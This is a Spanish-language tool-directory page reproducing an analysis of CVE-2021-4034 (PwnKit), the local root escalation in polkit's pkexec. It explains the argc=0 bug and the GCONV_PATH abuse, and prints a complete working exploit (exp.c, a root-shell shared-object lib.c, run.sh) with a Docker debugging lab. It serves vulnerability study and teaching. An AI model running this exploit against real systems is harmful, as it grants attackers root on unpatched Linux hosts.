Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-4034 — Análisis detallado y exploit de prueba de concepto para CVE-2021-4034 (escalada de privilegios local de PolKit pkexec), incluido un entorno de laboratorio Docker para análisis práctico y depuración. | Kitploit
Herramientas/GitHubGitHub/chenaotian/cve-2021-4034
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónExplotación de BinariosLabs y Práctica
GitHubchenaotian/cve-2021-4034

CVE-2021-4034

Análisis detallado y exploit de prueba de concepto para CVE-2021-4034 (escalada de privilegios local de PolKit pkexec), incluido un entorno de laboratorio Docker para análisis práctico y depuración.

Ver Repositorio
12310hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Análisis de Elevación de Privilegios Local CVE-2021-4034 (PolKit)

[toc]

Resumen de la vulnerabilidad

Identificador de vulnerabilidad: CVE-2021-4034

Puntuación de la vulnerabilidad:

Producto afectado: linux PolKit (pkexec)

Alcance: Afecta versiones desde 2009 hasta la actual (0.105). Referencia: http://its.dlut.edu.cn/info/1054/78309.htm

Condiciones de explotación: linux local; pkexec es un archivo suid y tiene permisos de ejecución.

Obtención del código fuente: apt source policykit-1

​ o https://launchpad.net/ubuntu/bionic/+package/policykit-1

Entorno Docker

Entorno Docker: chenaotian/cve-2021-4034

Docker que construí yo mismo, que proporciona:

  1. pkexec compilado por mí mismo con símbolos de depuración.
  2. glibc con símbolos de depuración (parece que no sirve de mucho).
  3. gdb y sus complementos pwngdb y pwndbg (parece innecesario).
  4. El exploit en el entorno de depuración.

Todo está en el directorio /root/:

imagen-20220126183638493

  • El directorio exp contiene el exploit y run.sh; puede cambiar al usuario test con su test y luego ejecutarlo.
  • glibc-2.27 es el directorio del código fuente de glibc; probablemente no sea necesario, pero es útil para la depuración con gdb cuando se requiera.
  • polkit-0.105 es el paquete fuente de policykit.

Iniciar Docker:

root@kitploit:~
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash

Probar el exploit:

root@kitploit:~
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami

Principio de la vulnerabilidad

El producto donde ocurre la vulnerabilidad es el comando pkexec de polkit. pkexec es similar a sudo; ambos permiten ejecutar comandos como otro usuario (generalmente root). Se puede verificar el paquete al que pertenece pkexec con el comando dpkg:

root@kitploit:~
dpkg -S /usr/bin/pkexec

imagen-20220126152839307

Luego se obtiene el paquete fuente (también está en mi Docker) y se compila una versión depurable para facilitar el análisis.

Punto de activación de la vulnerabilidad

El principio de activación es muy simple.

/polkit-0.105/src/programs/pkexec.c : 386 main

root@kitploit:~
int
main (int argc, char *argv[])
{
    
  ··· ···
  ··· ···
      
  /* Esto significa: recorrer los parámetros de entrada del usuario y establecer valores según los diferentes parámetros ingresados.
   * Pero el problema es que el inicio del bucle es 1, sin considerar el caso en que el usuario no ingresa ningún parámetro.
   */
  for (n = 1; n < (guint) argc; n++) 
    {
      if (strcmp (argv[n], "--help") == 0)
        {
          opt_show_help = TRUE;
        }
      ··· ···
      else // si es un parámetro no reconocido, sale del bucle; esto significa que ese parámetro es el comando a ejecutar
        {
          break;
        }
    }

  ··· ···

  g_assert (argv[argc] == NULL);
  path = g_strdup (argv[n]); // obtiene la cadena específica del comando a ejecutar
  if (path == NULL)
    {
      ···
    }
  if (path[0] != '/')
    {
      /* g_find_program_in_path() no es susceptible a ataques a través del entorno */
      // Esta función busca la ruta absoluta del comando a ejecutar según la variable de entorno PATH
      s = g_find_program_in_path (path); 
      if (s == NULL)
        {
          ···
        }
      g_free (path);
      argv[n] = path = s;// reescribe la ruta absoluta obtenida en el parámetro de línea de comandos
    }
  ··· ···
  ··· ···

Según mi análisis en los comentarios del código:

  1. Primero, en la función main se establecen algunas variables según los argumentos de línea de comandos ingresados por el usuario, pero el bucle for comienza en 1, lo que significa que asume que al menos pasaremos un argumento (el comando que pkexec debe ejecutar).
  2. Si encuentra un argumento que no comienza con --, lo considera el comando a ejecutar con pkexec y sale del bucle para continuar con la lógica posterior.
  3. Llama a la función g_find_program_in_path para buscar la ruta absoluta del comando. Esta función busca la ruta absoluta del argumento (comando) según la variable de entorno PATH. Por ejemplo, si se pasa cat, devuelve /bin/cat.
  4. Reescribe la ruta absoluta devuelta en la posición de ese argumento de línea de comandos. (Se puede entender como convertir el comando a la ruta absoluta del archivo correspondiente).

Es bastante fácil de entender, pero el problema está en:

  1. Cuando se ejecuta un binario en Linux, los argumentos de línea de comandos argv[] y las variables de entorno environ[] se colocan en la parte inferior de la pila, y argv[] y environ[] están contiguos. El último elemento de argv[] es null.

    imagen-20220126162140802

  2. Si pkexec se inicia desde la línea de comandos sin ningún otro argumento, entonces argv[0] es "pkexec" y argv[1] es \x00, no hay problema. Pero si pkexec se inicia con la función execve sin ningún otro argumento, entonces es y apunta a la variable de entorno. ¡Cuando se lee , se y lee !

¿Qué impacto tiene esto? Cuando se inicia con execve sin ningún otro argumento, la longitud de argv[] es 0, por lo que argv[1] es environ[0]. La lógica analizada anteriormente se convierte en: obtener el valor de la primera variable de entorno, buscar su ruta absoluta desde la variable PATH. Si la encuentra, la reescribe en la primera variable de entorno. Entonces la forma de explotación es la siguiente:

Explotación de la vulnerabilidad

Primero, hay que aclarar que pkexec es un archivo privilegiado (suid):

imagen-20220126161324831

¿Cómo aprovechar las variables de entorno en un archivo privilegiado para causar problemas? Primero, hay que conocer un pequeño detalle:

Un pequeño detalle

El enlazador dinámico de Linux ld-linux-x86-64.so.2 limpia las variables de entorno sensibles cuando se ejecuta un programa privilegiado:

Función _dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307

root@kitploit:~
void
_dl_non_dynamic_init (void)
{
  ··· ···
  ··· ···

  if (__libc_enable_secure) // en modo privilegiado
    {
      static const char unsecure_envvars[] =
	UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
	EXTRA_UNSECURE_ENVVARS
#endif
	;
      const char *cp = unsecure_envvars;

      // recorre y limpia (unset) todas las variables de entorno de la lista de peligrosas
      while (cp < unsecure_envvars + sizeof (unsecure_envvars)) 
	{
	  __unsetenv (cp);
	  cp = (const char *) __rawmemchr (cp, '\0') + 1;
	}

#if !HAVE_TUNABLES
      if (__access ("/etc/suid-debug", F_OK) != 0)
	__unsetenv ("MALLOC_CHECK_");
#endif
    }
··· ···
··· ···
}

La lista de variables de entorno peligrosas UNSECURE_ENVVARS se define así:

glibc-2.27/sysdeps/generic/unsecvars.h : 10

root@kitploit:~
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
  "GCONV_PATH\0"							      \
  "GETCONF_DIR\0"							      \
  GLIBC_TUNABLES_ENVVAR							      \
  "HOSTALIASES\0"							      \
  "LD_AUDIT\0"								      \
  "LD_DEBUG\0"								      \
  "LD_DEBUG_OUTPUT\0"							      \
  "LD_DYNAMIC_WEAK\0"							      \
  "LD_HWCAP_MASK\0"							      \
  "LD_LIBRARY_PATH\0"							      \
  "LD_ORIGIN_PATH\0"							      \
  "LD_PRELOAD\0"							      \
  "LD_PROFILE\0"							      \
  "LD_SHOW_AUXV\0"							      \
  "LD_USE_LOAD_BIAS\0"							      \
  "LOCALDOMAIN\0"							      \
  "LOCPATH\0"								      \
  "MALLOC_TRACE\0"							      \
  "NIS_PATH\0"								      \
  "NLSPATH\0"								      \
  "RESOLV_HOST_CONF\0"							      \
  "RES_OPTIONS\0"							      \
  "TMPDIR\0"								      \
  "TZDIR\0"

Cuando se detecta que el programa es un archivo privilegiado (suid), se limpian estas variables de entorno. Como se puede ver, la gran mayoría son variables de la serie LD_, que tienen la capacidad de especificar la ruta de carga de bibliotecas dinámicas. Esto evita que los usuarios con bajos privilegios hagan que los programas suid carguen so no confiables a través de estas variables, lo que provocaría ejecución de código malicioso y elevación de privilegios.

En el escenario de esta vulnerabilidad, tenemos una oportunidad de escribir en cualquier variable de entorno. Nuestra idea de explotación es intentar encontrar algo en esas variables de entorno que originalmente no se pueden pasar a los programas suid.

Principio de explotación

Como ya se ha publicado un POC, es muy sencillo ver la respuesta directamente. Aquí se referencia el POC de arthepsy. El contenido es simple, pero a través de este POC sabemos que la variable de entorno clave es GCONV_PATH. Es uno de los elementos de la lista de variables de entorno peligrosas, ¡incluso el primero!

Sobre GCONV_PATH y la función iconv_open():

La función iconv_open() solicita un descriptor de conversión, que transforma secuencias de caracteres de la codificación fromcode a la codificación tcode. El descriptor de conversión contiene el estado de la conversión. La función iconv_open() primero busca el archivo gconv-modules proporcionado por el sistema, que contiene las rutas de almacenamiento de la información relacionada con cada conjunto de caracteres. La información de cada conjunto de caracteres se almacena en un archivo .so. Luego, según las indicaciones del archivo gconv-modules, enlaza el archivo .so correspondiente al parámetro para realizar la operación específica. Si existe la variable de entorno GCONV_PATH, la función iconv_open() buscará el archivo gconv-modules según GCONV_PATH; el resto de la operación no cambia.

Es decir, la variable de entorno GCONV_PATH también tiene una función similar a LD_LIBRARY_PATH. Puede especificar el directorio donde la función iconv_open() busca los archivos so. Si podemos falsificar GCONV_PATH, luego falsificar gconv-modules, y finalmente falsificar un so, podemos realizar la carga de cualquier so y la ejecución de código arbitrario.

La idea general es la siguiente:

  1. Crear un directorio llamado GCONV_PATH=.

  2. Dentro del directorio GCONV_PATH=., crear un archivo llamado pwnkitdir con permisos de ejecución.

  3. Crear un directorio llamado pwnkitdir.

  4. Dentro del directorio pwnkit, crear el archivo gconv-modules y escribir el siguiente contenido según el formato:

    root@kitploit:~
    module UTF-8// PWNKIT// pwnkit 1
    
  5. Colocar el so malicioso pwnkit.so dentro del directorio pwnkit, que contiene el código para obtener una shell.

  6. Establecer las variables de entorno correspondientes:

    1. Primera variable de entorno: pwnkitdir
    2. Segunda variable de entorno: PATH=GCONV_PATH=. De esta manera, la ruta combinada por la función g_find_program_in_path será , que tiene el formato correcto de variable de entorno. Además, el directorio existe y el archivo también existe.

Y luego se logra. El exploit específico es el siguiente:

Exploit

exp.c

root@kitploit:~
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv)
{
        char * const a_argv [] = { NULL};
        char * const a_envp[] = {
                "pwnkitdir",
                "PATH=GCONV_PATH=.",
                "CHARSET=PWNKIT",
                "SHELL=xxx",
                NULL
        };
        execve("/usr/local/bin/pkexec", a_argv, a_envp); // Nota: la ruta debe modificarse según la situación real.
}

lib.c

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execve("/bin/sh", a_argv, a_envp);
}

run.sh

root@kitploit:~
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp

Explotación exitosa:

imagen-20220126182231579

Medidas de mitigación

Actualizar a la última versión.

Referencias

Divulgación de la vulnerabilidad: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

POC de arthepsy: https://github.com/arthepsy/CVE-2021-4034

Descargar herramienta
argv[0]
\x00
argv[1]
argv[1]
desborda
environ[0]

Inicio directo desde línea de comandos de pkexec con argc = 1, argv[0] es la ruta de pkexec:

imagen-20220126162616203

Inicio de pkexec con execve, argc = 0:

imagen-20220126162804529

GCONV_PATH=./pwnkitdir
./pwnkitdir
GCONV_PATH=./pwnkitdir
  • Variable de entorno CHARSET=PWNKIT, que se usará en el camino antes de llegar a iconv_open, para buscar el so desde gconv-modules.
  • Variable de entorno SHELL=xxx, también se usa en el camino antes de llegar a iconv_open.
  • Iniciar pkexec mediante execve sin argumentos, con las variables de entorno establecidas anteriormente.